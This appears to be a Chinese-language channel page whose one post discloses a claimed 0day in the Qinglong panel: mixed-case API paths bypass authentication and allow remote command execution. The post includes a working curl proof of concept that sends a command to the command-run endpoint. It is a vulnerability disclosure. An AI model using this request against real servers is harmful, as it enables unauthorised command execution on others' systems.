消息来源频道

<NullPointerException> 二周目

@NullPointerA

频道886 位成员公开可见0 人在线

得不到的永远在骚动，被偏爱的都有恃无恐。这里是 Sh1zuku /'ʃaɪzuku/。

成员规模886 位成员

在线情况0 人在线

消息总数1,993 条消息

浏览量总数90,189 次浏览

频道详情频道地址

2026/02/28 00:15

青龙面板最新版本 0day 鉴权绕过导致 RCE
青龙面板最新版存在一处鉴权绕过漏洞，未认证请求可访问高权限接口，并最终触发命令执行。
攻击者可通过大小写变形路径（如 /API/...）绕过鉴权 curl -X PUT "http://localhost:5700/aPi/system/command-run" \
-H "Content-Type: application/json" \
-d '{"command": "id"}'
原文：https://mp.weixin.qq.com/s/mbjS5himBugBI_KX8pC68g
#威胁情报 #poc